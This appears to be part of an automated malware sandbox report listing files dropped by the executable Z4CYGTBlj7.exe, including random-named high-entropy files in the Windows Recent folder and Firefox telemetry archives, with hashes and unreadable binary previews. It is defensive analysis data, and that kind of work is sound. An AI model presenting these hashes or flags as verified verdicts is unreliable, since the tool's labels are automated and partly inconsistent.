SHA-256:	F4322A093B1F3B469D47C29D1FA00DC7AEB4B88A4F5B2CD129CF6EA5D14CFD48
SHA-512:	46879A6CF904CBCFD6F92016926CAB41B2D620FE0F86474B764104084799FAB98EA183FF3C54B24C6825999110E11421BC9CA5504F3FC49996137F8F39357A15
Malicious:	false
Preview:	WHZAG...z..i..$dm.....lV......'..0.[wb:v7H.P....x....T...<.>N.2i....U....OX..f~.....O..h..?....."..z."..v..../.B..E-.#6cH ...k...%....I..F...Y.D.un3qF.n'.."CC...c..~..c.y.G.,4...;.....>.,.O.....}z....<.G.h.....>..{:R\b.vY..e&.l.....#...2.3..}E.c.tZ...S}.?..TU=.e..r...4.3v.i&......H..{.L...,m.:.Yt..jw.=km.1.Ria.".%:....\|...K.^.M.RX..:.].j.....%.q..k.../g+..J<N.i.}S.....d<..uyj...._.#.+$Wd.w2.hN0^...r.JOq.gF.z.."..:b..<Q...S...uP.j;...Z..,_Rh.VM..Nk....?..k...I.. .{.6..f.?..VJ.K:......(._.."..t.....Y#.BFv......o..LA.~\|..._an.X.jF<....3..7..mk...-3e%3...1..%.`U.........C/..e....Ml.=.}@....t.... ..C..v..tv.....o.}..=\..IC..k....B..Gm..D^g.....d....c..........-..>.G[..M..4.......6I(\6Dt.....T.4.#)xR..t(.r..U..5R........b.]........2.H..?....h!..$.@.E.~N.6.P.....j0.yX.5..H..u....?.eZ..I.Xf...g=.v\.....3.c.{.Y.\|.-K...U.C..H...S....<..U.!.x+...,.R.\|K1..}h...p...7.B....(AP..O....F.t.N.1....E..m.n.. m...{X....Y.F.FN.%.....-.....T..[EP@<.....j<e:k5.8^=

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WXDORXTPKQ.jpg

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86933247493433
Encrypted:	false
SSDEEP:	24:JV8Ml2QkbmNdEKAtKBOZdq50BnhPsIWML9UUQss5oZ2DyVYZiNSwF7HS4b8sbD:wMlFkbmNJSKBOZdq50BhPsIQ1s+oZuy/
MD5:	30156BC7B741149902712A52C941AE44
SHA1:	271B900214D7144F631E477B6D8F9BE26241244C
SHA-256:	EF18AFC41B00653869E1E0BCAE87C1984F585FE5700BEB640A89B04A7042A322
SHA-512:	A4A4430A0763AAD7E72D6FA63315DDACBFFA45F4A46F4DEDACEB209EE01DC1B2D6CA2CFDAACDD7FE09E2793AD521916946E87B88BEA72C9E9A40A887A82BBC57
Malicious:	false
Preview:	WXDOR...m.nkn.....<..i..0......s..#.r.:...0..I.S.BO./.w..q.._;.Au3[.v(..._M..1...`.(.'...#.mZ)....6....4dl...Bi.....\|...e.5.`.M_^.tZi........>..$l@V.....%...a\.1...5.#.L>.-I.N.Sy..`.i....R{..........c/ha4.....<..\........o.Kk.I..9T....E..6a.IX...3%..".D.......]...+....@.....b.R]..7..7C....X.uv..m/. ....Q<z3..b+........X..8...M$......F&.@...;-Y{^kw.......f.}k...`.\|.g...."}c...>Z.P..0'.F...1.s.......3.K..........!.:Mo..E.g.Q.P.d...,..`.r..%..V...8..i..W...XDRI.0.M........T%2...q...a...2..c5$T...$s...:UL......"N ['.'j.........$?QN.)...S.w....,....4"6.V..h..u.6..d ...[Kr.p..............Xe..R.h..oN..Q......x<;.F....l&..l.....TT.<.KK........j....%.g\|;.......5...{3.d...>;..j..^......Hi......2%A}......&/k.C......~..(..x..I.(][?X..[jVGmr....O... 9D-.`G#....z...cL.......~-O=.u...,i..(....g ...U.....p..jrN=....K.D..L.!U.\|..Gup3..?+1FIXGL..`1p.=I.4...X...Wd.*.,O?.p....?b.<.I....B.....w]d..U;.eo.I...&...{.%x ..^R...,....8h>.>+U..[.(...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8557829321869175
Encrypted:	false
SSDEEP:	24:ZbMaWN+iR9lqjjOP5yX0vC5cxtdotq5nPzxz6rGPwsxn9TFezDSp5aFlVfsbD:mhN+kmjjOPTlxn8qr6QBiR1mD
MD5:	CB9DF96C79727A46B48FC54B5B1D74BF
SHA1:	277EFE8964F92A4C37458CE9851583EDD7BBF379
SHA-256:	B68F8C88EFF22220453A2560A101FF6983A8591C099F5DC0B5FE67DD9D58643E
SHA-512:	1B6BD81E5E6704114B63CCED2D1B8C5C17EFECFFE503F2369C488CE50A0FB9B42D4B1923BE01A980029E345E7BF6DB00B89E3959F6BBD51352FB812F8321039D
Malicious:	false
Preview:	ZGGKN+.g..J'Z......R.JY...(`.^..tg&......#.....K..:....9MY.......rU.....)........2..\...Vw?al%.}..Y..Fl..J..U."........v.7.....C.zy..".v$.....!......:."....xe4..`.h..n.vT.,!....7.T..]C..Ms....g...sK`..&......p...3..1..>.....[...wj.....G.eF....Db...=...nR..i......".=}W.A.8.L..GDR#.G.s..aL.F.E..K.V..4.^....:...:..2....h.M.<hY..]bG...dX...".......p.)..."..?V...$....m.i..G..;b.x...bbz..%..j...x.-..j..~fBe6.i7%.c..H..E.h..P..4....wR.(..Aq...X..U..zH..Z.m..........h.r/ E..K.W.b...k..xb.A..Y...JH....4.^.@#..p.Q.........~U. ...2.....4...........!.7\r.`;&i...B=7..s,....{.h..]UxB.wL5.\|F..M,....d.0) W}...{.........!{..ji.U.~H{.{.Y6."/...T..G..R...9....)...d...m.c....M...7%.{.............^..-.....<.Q..o./.....{.^.N.].....%.7..<(0....Q5.....Q{..\...P.K.M0.y.Oe._..lB......k,K-.a..LN...%....!....g...x'...9.mp."\|.m..o...kO1.!..N.{d.U...;.....q.U).}3.fx."i3y........1+...~...> .kES}_Za{M..?E.inAua..F..^T&9.....0.Y..+.F?..+......&..^8i.!...-.:..... ...&.V.n:..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.docx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856547435429911
Encrypted:	false
SSDEEP:	24:UhpyZA9d/UkbwQxmr0ImxfJmM3fy4LZLF8nTZI8hZdpkRUVVubCQcDz4+CiJsbD:UhpDBbwQxmr03AM3f1ZL98hZdaREuGQT
MD5:	7AD9B3349F5903422B8A8EB4C98734FD
SHA1:	67F9F86CCF3582A7BF49F55C9C3FE572D30E029E
SHA-256:	9468A53FCA107AC285F449D91DC814A93DFFF990CEEE8D23B41D98BB91BE8567
SHA-512:	5E3704C29B38D32E54BF19CDE378794436F17D1417952FD52EBB8B9305C922E24BDAA2FDD776457DB3BC1D50C986761BBD88691B43964A7C8E8A00D674F64AC0
Malicious:	false
Preview:	ZIPXY...2.....Q.R...VQ.:.....U9Hk..4P~$.M....+.....{.O.........-.6...=..2J,s..LP4........#.m.EX.(A...L....H5.C..N.kT..0a..kZ.>...h...Z.........I.E.L..z..by9Ysr..T-....<.@.....w...@....g9._..].FX.W.e..P..q.=.I.vQ..R..{@.z2;X.......5..Am.....S....d......uWI.....k[.g,..$.e.p...;.%.N.[.....&b.7..=.......:.c3....H...>...^...E...._[T Vg..=.9...c.....C......q..8..z./.-IsP. p.!..].umw...Z.$...w5En..Um.H.iT..I.........q...,=...~$.%....7Wv..Z%......W..j.x7j.I.+..K.....P.<b..E.P.rGXH.PFwE..h..Xw.. .....c.Q-........U...Y.}..!..l^2.z>i)>~.-yE.p.w.Ig.t........f...0..;.'[.y>n.k..k..........KKLyO.../F..c....Y^{..!...{.u...=.].!48..R...i%..d.9C`......xx.....~....&.wh..a...cH.....L%...8......pJ.....0.f.......,~w.aJ.N..-:..M.}t....3......../.l..U.].H.,....ZEd........\|..g/q.Q..F......(0...p./.3-S......a.h.V/)..V&..l.*?..?.......(.U..{..........U.N._.s"..1R.D.o6..{.Y.S....Y..l.=n./R....8...@c..bl.s{.....e..5.i..a.L....~q.].....D.z..... e..&N....O...-..d.Z..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.mp3

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858070421693941
Encrypted:	false
SSDEEP:	24:EYSCuOrYADCBLZmnCMmWcST5JqcwLAXmAaXfMaqMAYOl58jw5gfsbD:EYSCus2NkCMp1JqtqFa0aqMU2mD
MD5:	8D1D2324A22DE6E11AC051D12B5745EB
SHA1:	A36465BD19E9AC838C5CE2B39C9ADC6416DFB6E5
SHA-256:	B994690F53972E30AACB844A1E06A3A8A28399D7662E584472AAA3110B929E5E
SHA-512:	C1317844F76268A4D89AB14994A8F3F1730E53B0F762F9879670299AC3481680574F0120EF4282C65648D2127B030ADFC7F65D5646C96A0E0D186F9229CD3E40
Malicious:	false
Preview:	ZIPXY..........vy..L....._!......;.E....b.K."..n..z....o...#...X3.5}.xny..4.-.\5s...zy.tP2L>......B4.. .5t..g.f,.-Fk....u..D....L.dx..{..).HA..Q.Gm.........l&..h...w.!r.....C..^..T.ZD..+.C.\|2s...K.'r......k..j_c=d.fU.3.......z.xu....o..'....5...sK.}`i..@.__.".x.U..;.r...D\.....".XS.D..H%kP..\|...xF,..m.......!>0bU.... ...=..A..g........@e`v...!....G..?.......~....9X8.X3Lzk..d?.....].3.A....q.......D...mk8.]p...3,.y...4)[<.Z...]vX.{...(..x.Y9+.o,.}.M..e^....p.x`..?.....:...Z}7.j&$.........V...^.3...T:.d8....kBX..Q.?...ib...P..2.5y.Tj"<...mk".a...kcl.g..K....0c.s..z.....+.s...?.......T.2..F...e...A.....z....j...m8.D...Q./<Z.X....U...........vg....7..p\~.h.....z..4."..[-(.j.@b.\U..35&(.#.Y.o.H....$.Z4.Q..K......y.....!....@.......=.\....D......g.h_4..:. .w?L.x.......x'J....#.{m8j.$.Z..S.zB.7f... s.7..,K#n.h...ON.s~(........4.>..^E..W.zE......p...,.R....ea....c..:..........5E.....Lr1...J$.B...'..7.2..%Lz.U.>...[..116..u#`"...?".

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYMRZWDQUM.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859531880889392
Encrypted:	false
SSDEEP:	24:VeTDJJKxV6G+UCvz87J34rev6zGUOkDA/K7hemIaDuKohIUOMA0b/8c90ZsbD:VEiKUh7JMzGRKl8d6k7/RDcZmD
MD5:	A73B87EDDFEB885921A273C680757B82
SHA1:	0582B17590C7AF342DF9E22582538E55238FD09E
SHA-256:	C297C9B5A5CADE5580B590B4D60368D021CA0C75ABF8E83FFED15860624932A6
SHA-512:	80F6434A5E8138CB1849325F2F0B151077723623C31E9E5915E29A9F4EC6DED994E3B74FA285A7E06B9E98E429FF6E25822813B1E4FF5773E92C28E51EDDC368
Malicious:	false
Preview:	ZYMRZ.8...L@.E._..3..$.!.'.\|..x...&'C.rK_.f]M.j'_.:....I{z..Xg...0._?....OU.If/7..k.?.e..gn......=....tg~......1O.}.e\.#aH2q..5(......^.Cg...X..\|.KK.....n.!...!...b..4;..6.\|l..gJ.....9.2.<.ZIS&x@.......zI$&.s.c....N..;.wv...R<.[.......T.b...k.....h...Vt..MYrf.H..M...u....K.\|k.......f....7h...\.jw.....u..^.nn.!.4.J~..0...d.s!\.Ak...-.6d..Q1.v?!LX.a9.K...PI./.q1..Zg...=.m.....`..>.\...`i#\......i.....K..=.........w.(~... ... .YO(7..y.._d...6.\|]-..^........5.......>.Q.O6.....F....4fu.QdN2...2.... `a..x......@.P..l...........s.zgN.....+q.%-..C.Gf.8]..+"..)..r.>6.M.N..j.........M.i..!.......G......1p..Z./CCb3.......(.V{..U.6^E\.tO$....S.yz...^.;4.%..%...!0b....Ge........@.....F.C...X2.>_..=._..G~`.u.^.(<.T0.-..x..ol...x+d.'.V..&.&&f.T.ihu=.@.ZW...>9.Qf..pec....Nmq..F..'.Na\|.=m..._.c...k.Xa.W!...{.\|."E..'. .../....d.;;....c..nG..N....7K..]..<.$.......H.E~.Y....J....w.0..I..ILk.:.F...+h...~n/...=c.[...../..E9=.e.*.w...k..NO........M..kV.BS..x

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4120
Entropy (8bit):	7.942382243888137
Encrypted:	false
SSDEEP:	48:w60/r8AHkX/S6w3+Wajz5thUEhgArl3Oi+JnicsXuTXVJzt5xA4Iwbu0Yw4UG47E:n0AA0/NWmVrasjkpsQJEhX1YMeJchr2+
MD5:	2A117E1C67F6471F0441895E6622F1FE
SHA1:	40EAEDE2F9B3AFDC56232B0956F20D1D24D8580A
SHA-256:	67CE3ACC242B3D9E4F9A4B96478D9A6DE8008AB82CDCC1B11AAD51B5F420B0C1
SHA-512:	E2B0551351B7CBC12E71DED4AEE4B749BFB36FAED992CEFEF005121CE343C90D15B838871D7A816EDA4334928239EEA1A3305E08B3499D461E2444C76FB51E48
Malicious:	false
Preview:	mozLz.[...U...{;.t...6j7._.te....-jq! 0Q..ZX".(..l.@...7..F......I...._..N....f..(IHz.. ......)..5g/x..D....4..K.._!kG......[.@...<.#...3.....3..w..cJ.\|e.Y...L{.....r...x.._.T....!{+.w.D<].Z....3.+.[@!...2NSk.~.O...1.B......"...N.bRm!q....+........;0..}k v%FL.T.x..L...v.-N.q...r..uj.d.......vh46..I...``y..p.\.+>..y\|R.\|.^. .r.+.....7..7.\|</.....rIM.uP.j.u.".\.".l..Z...e.G\|....&.=..;..l/.Fql..B&dm...Aw...w...5p_.#m.z.TS..2.DHj=.X.8....e)......y......#g...1h]..N..l.@\|.y.`."RX/7....K0.u...!dP....N.7.._..D...P..[.`z.D.x5...9.L.<.. x.......V.....>....?..x..qB..4....C....g....s\|#.m....?..~..X..}.&...........7f.]....x..K.R.GUSS...8X..q.......d.*..N.(.16h(.O.U....z=..#o.`............O..}.r'-..=.O...I.Hv......:....<_......6.........^..k.o...`.....OD.>.....&/nE..-Z.4.si..~..W.x[..F...E/.U.Y$....~..w.z. D(....=.<i..........uC.~3..J.0...\U.q..J.[ e.....t...C..Q+{_.JLJ.?Xl.L.{../i. ....Qwj`.+.^.........w.7.....v.Aj..=..x.%..~v.8.....QAw.#..ph.g

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4483
Entropy (8bit):	7.9524005751755205
Encrypted:	false
SSDEEP:	96:a7LEAduK69Lj1FvJp/yTDH/pVJVBnzGDKz4ndqs2wCNc2BfCJ2t+:a8exwFFBp/oDfNTqDKz4dYcmqUt+
MD5:	A7F949AB877E0FB5B23B74E944E9414D
SHA1:	D08D5D93A6E129BACD1D04110616A14A5C708A92
SHA-256:	DE111CEB2AABDDAF4657F954D95E2115948AD1E9A61765C3CE75E63EA2EBDC3A
SHA-512:	6F5DB192C0BDB9C96E59A4394EB519A96482181ED1C43391D483E13F27739F0677EA88068170763A57ECF12BE50AD17850001044590D3451E53DA69F1112690D
Malicious:	false
Preview:	mozLz...0.`.vu....AP..n.@J.k...S.A.....7....%l>:#..'R.3D..ykxA.....=.5.uh8!u....A.....H.@^N...f.!P.".M&..`.f.....3.........<......k.9.......Fl...3T<k3.1yf......V.M......>.B..&.....Rwp..c1.`.@.._..`.0..BR....y.j...H...U.7.....W.gotm..w.pc..........}9+..=.M.J6:..}..Wx.+.7.{.D.`.@.E.....[.1...M..........u...T~.5Rx.<.....&].\P..J.W%.s.d...3#t.h./.....0.....Li6t+=....."..a.A..p..PdW+p.....S.Pe.'...r.lQk..L..E..I...b.......X...B..},O.~.'{..M..#....w.A7w..^...!.P?.....O.vw...K.J...=%s...............$B!....../....w..5..}6.;..2.....;.M_@....".:u..".M......z...W.N.o......D+3..........Sm.W.:lf..qv...9.i.+.B..L.2..6.q..s..vY..um!....O+.(c....>...;...d..x$w.......Q.....\.&^,......HQz..0.*....{?..q.P.JR.x;...E.F.<x..zA`.....l..wiNs.<...&.ipr..&.....2.c....[..t!w....8Gy.Uw.w8P.;0..P&0.....X0.0.l..s......d...A.&.8..w..(..R.....Y\.8....R=x...k. ...}..2v....om.....].o...V~iY+wOC.z.6..[..7+...`.....q.].1?../.\.z....:.:7......Y.....}lY."t.....1t..S..fc=.2..t.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	18715
Entropy (8bit):	7.990048982278598
Encrypted:	true
SSDEEP:	384:aD+JL5TrqZdMf/KNjPsOFpxW7IWwjLJ+Qm:aD0JSMf/avxW7IWD
MD5:	0D8340D6DAF0D86584355418A7888B61
SHA1:	D0A656ABDA6A54620303CB2E8C3249B429BED8E7
SHA-256:	963CAAE056B3AB6609B1FCF6EC29360523E72E44C1F0C2429B8742C6067C710D
SHA-512:	DD3C22A74367C58BFE4E3C4AEBB2678DA18B2FA4F82849541D78193E8803424A94D1343E92D388E72C54F2E96161B84D078077EE1B9C5F8064D9EB38B40C2E09
Malicious:	true
Preview:	mozLz.....M.oK\|{c.qfn....2...;.=C...X.O......."..N..;...a.Gk.I\6$....xn.q#.I?]64.Ws...qc.9.0j(.5..X((g......uC>....P/.F.S..a.....C.y.c{X?.P.l..L....A3R..i.n.P.....;jM...q.m!W.@..#..B.:.H.l..x/..To.p..e.u..(0..jGsJ....%.'.... 2.(.qr..U3..B..c..xH"...(.%.<.n.\. .p./9K..>.eS.X_..o.c~T>+...d\|...+K...$.....j.>.<q.6....C..x.....j..&..+X..E.)..}..~.[..G....s..W./-.{y=.$.....F..F..a..A.....!..-.H3..._.C.....t.7....k.....XP..D.8.=...\..@.._...8./......+.d.,.!.~5..,...1Wg.d4..E-...O...t...W.........q.Pn.q D7..A.E..7...]...p6.M.......&m.....$...s%......2...Q...@k....N.HEL..,..T...7.[.^.....zI..jF.....;b..UQ.V...<....[..^..o.V..U....(.?.h...~..cV ..L2....3..;&{.>DA.6.f0./.....:}.......C.^&X .......2........C.....B.....^T....).;i.`.^..ga...E........yj...E....f%vo}..p..n...-g.zy...,R......].:..U.....&.;j.j..#..........< JO.9q....)7j..[..C;.j....(.....h3.......#.g.....CZT....g..."N........7.......f.............../8.....EH....^.!;`~.b.."...3..BC.9Y.O.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	18727
Entropy (8bit):	7.989289474013
Encrypted:	false
SSDEEP:	384:w7HV4ZeV6+eq++N8hnhfLJP5HoOnM5QzUcOjIxB:wZ4ZeV6+VShhfLfIOM5QzQcH
MD5:	BD6CDE6C9B9AB40B45281365A53816EC
SHA1:	DF891F9CA85BE29A716710B798C1F123BCC06C17
SHA-256:	F547614028EF8B0C6C6AF3CE3F4BF26EFE0969118E7F3F4C56D899260CD86EFB
SHA-512:	E0BB03641397ED5C25300D5D9F8180DFAC826B051263A2D06900C27D9723F2AD3B978EB519D5B66541FC0E1C982FE623068BFF9D3B69C30E93EEF27D88C8E0F6
Malicious:	false
Preview:	mozLzK......?gw'..-...x2..9m..<.,u...z..Z4.}.#ZR.....d..@uP.;Z.E.~i..9.k.NV.1.U...K...D..I.4.:.j.....3...y/....(.X2kl.\.r...\|4.......]!....H.Z..&8E%..A..p...<M.....w..(i.....7.x....\|g..-.(M.8....P,...^6<ed+B..h...&>....Re..~...(Rs4..^.#.0D..1.....$...{....P.........5w..c.w.<.R.?.v.w.x.a6A)..`,...G...'e.n.RE.r.j.d.9.ai.(.....}.UQM..'...s.Z.T.vY......D..}Q.Ps.5..WE.O...w4.......i.........NU9FUh....2..^J...P...z.:.zi=h.~'M..c.}.H.e.nm...o..ow....>_.Pm...W?-\|...r...F.........9......3?s..E>S...Y?..u.+P2.3...w.D...y>.?...~.N..nEG..VO. ..T{..d..........H.;.......b(.t....:H..NB8.Y.M.tQ....7..aZ.1d~.%]4\|.3,.......J.....U&Sh..{......d(z...=K.....<.GHwv.?...W....jjc...}..ys.(......XSe..+....D.....3.. F...\.$....JI..U..dU.7..Z..*.R...ZD..5q..9.cw3&`..o.mL".9....AA>......k.r.-Trv...K..\|H.........].9.i.j.......5...o.)pyd..N..S.dG..m. .7B....&...P.X ...".>+&.cG..{Z.\|..$...-B.q.>H..(.i.7.=....z.Y......s.pU.S.9.eB...w.0..;...#.CO.V.<.....A.]N....H...si.^f.......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	779
Entropy (8bit):	7.694352556058572
Encrypted:	false
SSDEEP:	12:W8nDBi93DtoemUEiq5Y8WZrWh7dnJArt31n6xru1Ont9tqdkFieAQscii9a:xDetoemTtvWZCh7nA5gu1KakFzsbD
MD5:	19B6BBFB55A90DE8D13748659F9CC12C
SHA1:	6C344F1A66F0E2064F20EF797CF2A7140336EAF8
SHA-256:	612D1BDEB3430DB11C16970524A3EE2B45361EE0CC6E54224A1DDC15D9C940CB
SHA-512:	021CC04316728442900A5B11F29F0FC49EB118966861EF44241B0D683D55E02F36EDACCC08B27F7AD8C78E7C329758B98F14012D1524B43E108CBFF3E4C6C356
Malicious:	false
Preview:	mozLz.._...Y.4.1......,...=.PS.t.&..i..d..!.H.BD7.6...Y....:......q..;L..C.j.......C..U.......1G...y!..v..ho........@...G..P...3.........<.....1\...._..F..;..yB._..f.....d{...$.l....w;.l$....a..".e..t..........z.5.&9...$k..8.P....gv...n.Xz.M-2...._8...J........f...$.P..&...G...v.6CFJ.3..{..e.7.......;.2W..E+.....N..f..}b.S....+......S =q<m.RH.b.....!a.W..g=>\h..=\|Z..Xt1.1.,.X....O.t..Cz.....G...`..U..Y.mP....c#..TFrT2.....1.]8..p..Z.9.DV_.``...=G...?.........D........?...h.G.j..t.[......M...W&...v..h.GM>.t.....GGZ...}-F.B,q...FH...J....:Juc...pxs.c.=...s.*....]..\|...._.7X...n..c=\|.?,.o.....?.=......N.H..jq.....]bx...>.....z.;..Y;...H.n..M."...,.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4477
Entropy (8bit):	7.958778448192356
Encrypted:	false
SSDEEP:	96:lY6XjPS1lXBjAi7+SPxFWc8J7ONG+qkEJEZo/+WyV1fRPAIit+:q6WrZAiFFWc6SGy1oWWIRALt+
MD5:	EE4E92F5053977A81502596F5CC6D3C8
SHA1:	D97BE3CA0BD3E0D5A96F66DDF0DA2297C6069583
SHA-256:	A749C3134B431EB2CD59264FF5C6F62709B217F4D1CC6AE35B6D22822A123F4C
SHA-512:	C125DA548074FF0114A4DCAAEB9F58D002C23E2443786F6B87C554B2DD256D25377FCB461527F054803A8EE9C17577B3A0B40A2CF30066030D8CC5C743E3C394
Malicious:	false
Preview:	mozLz.q....h\|.hD4..[]P<..JC.O.....\5.%.E..1...._V....M.u.[.h./..ke..OaL}wd.._.S...S._...{..~.4...8j...eX.].++..8 ..>Hk...4RTK0..C..'.]sj..L..wj..a$...........r...edh?....+r.q.........iJ.....b.....IS]..VJc...'.).Giti..G.....]B....:_Q..%.J]Ap..1`2H....s..nm....X..Q.GlE;.p.h...U.\w..j.V..[....-..x.p(.b.rKTQs..P.v..JlX.s.@...;.....MV...o\|\|.mJ....j.....r.I..U.4X*.........s.~w.._............=..O....3..`...4.......dGyd.p..)1..t...V.....n,FO.sMW..I...`s..S...J.2...j5....o..!'~....&:.q......1k...(.....u..$...T8t..8#I..,.7.P........C...)3.V.>.:t.d3B&%......IF...N.$.m..3.=J.cY....{4a.....>.%...n..\E......W+......Vh.(..M.....V'...\|!x...\|O.vK...40m.._.G0.....'.Ha....@...2....1m..7..S...r....K.I&[0..hD5.w..b...v)..5...q0@....,...R.8.j..a.....>........I.?H...i:hN...!...?'.....7D".N.v;.]g.nE.O......Dl.....E.a........5..Zm_.(...2..tt.\|(.H.[9,..{X.Z...Y...m..;..3...cs....un....-wP....g(.g...e.&.......J.Sl+;.Y.vkL....^...U.$ .I..Q ..4..1..t...1;bg.O..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.742895640716723
Encrypted:	false
SSDEEP:	12:KgYyisvM+IPi4/zvX+quF+/fozrXfVG8b1+Xqt+v2xIA1r/0F9IIiGllhOEQsciD:yPsvM+IPTvVL3ozpG8bDj/0HIIiNsbD
MD5:	813454AD482479F9020091B1027812DA
SHA1:	2F8C9C0E173A325382CD1C1FDF0F117BB62C5EB4
SHA-256:	A1893CFC00578A6089DE99539CAA427810CA22D462B2B2547269A6E31F07E1F9
SHA-512:	8C6A8DBC73AF951FE373157FA9F49A462112E51DAE71D0B52A3AFA264E0BBC56ABD5F911F83FB5CAE1205B21F91A61E238CB7AE9A15747BA1C45C30CAE2FA4DA
Malicious:	false
Preview:	mozLzy......5.&.D3i......zP9..:..O....$k(i.._Q-......._#.88iKU5W..j)....q\..K]......V..........:7\...8.2.J`.xd.=HR%.{z.Va..z=.6z.a.p.~.;........k.$<..x..].I.5Q.,...^s:\|..........O.=Ki....;...P4...xC.A..M. .j...U....7>...].7..y!...~.TM'..'r../U)Qk...M..G..Vq..3..6...y....vZ..}.....X;.`.....[..y..`.1...i......7. e\.....:..v._.J.;$.Z.(...j.:Y.\..;.&.....)\|?.>.I..'.X%.K. ..=.%.u..+o....~.z.T.......t.)..L.......~...i.Y...)..WH.:.c..t(..\(.j..o[..!.......K......X...e.8....{{..@...KZ..C`.T9.w^.%..NS^.W.....rV.F..h..9......'.rr4.8...i.v6........._.k..R{...G.%.s......oH..e4?......1....I`....M...........L...~...N....V1"?5.?j5........\Apr%W...\|.Q.).-.?...{.:.........a......s8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	15331
Entropy (8bit):	7.989514448159189
Encrypted:	false
SSDEEP:	384:sR9dLeB1rqeT94aXysxilWnGm9sTSs78JjreHlcobHtS:sDsfrqA4aCsvnG6gD85rbn
MD5:	7F647B905C982B2AB3B2D9D8A06F11B9
SHA1:	8DAB3526485371319D804F6AD0749A7B2414223A
SHA-256:	109E0F26DBE17DAB3937E22D01406F27F1F62C7558495182FD26558F0E298FF7
SHA-512:	AA61CC7918ADE2F9DD6912027F9BA8821419F5AE28D60697665267EF040F005B881E7B63511E5FBE61220B7300091027AEB3ADA6ED08F5D5BE2BD742C34DD9E8
Malicious:	false
Preview:	mozLz.............B:!.3.c.E.l....Q+Mf...Y"......@%......t#....!>....W........#0.<<..%.s.Bf8..Q....H.........W.a...$...i}.)S2.P8W..k.V$..L........YU-P7y...A&f;.B..Q.x-m..+.u.......~5GV.y=v..E....3......\...,..\..4.....I.z.XJ....o.f.x.H9.#3D....I...rU..+>..j=b.E........<..s[..?..C.=.f..04.H...7.1..y.....-.U..j..!.eacG.-....F.?.?....W!...Mx.....v....h.Z....g..Ht.M.<.$....x...&k.3}.d..OX.t.a..V0....._....3Vvoy..IGT........d.t...w..Y..H7...M..I.("9.E..e4z.XE...{..{...N...D6.DV~j#?.........d......6.o .j}.......7..(L.....&.4.0 ...!..R5..n.......mba...V.AM+y'......... .t.....&...u.M..{.k.i$=.!R\..:<.Y.....3..........yY.......#L.........F(...........L}m.6P../....I....b@..L..r.......p..hY.t...I.U8..,....Rl..h[.9.\..5....%..#.^.......`.y.YU.Nq=U..}E.\.N.R.^I......EVc3_).~B...Bh.......0m.^Ib3.`..=...OO..u.....E^cr..=...h.....QN..m.Mj:..e....f..a..0........t.,..*:.t.+....+...z. .Y....8......"..D=._...).3tT.ap..p5..Zmv...._h .[.p.l..#....x...4.P.3f^.

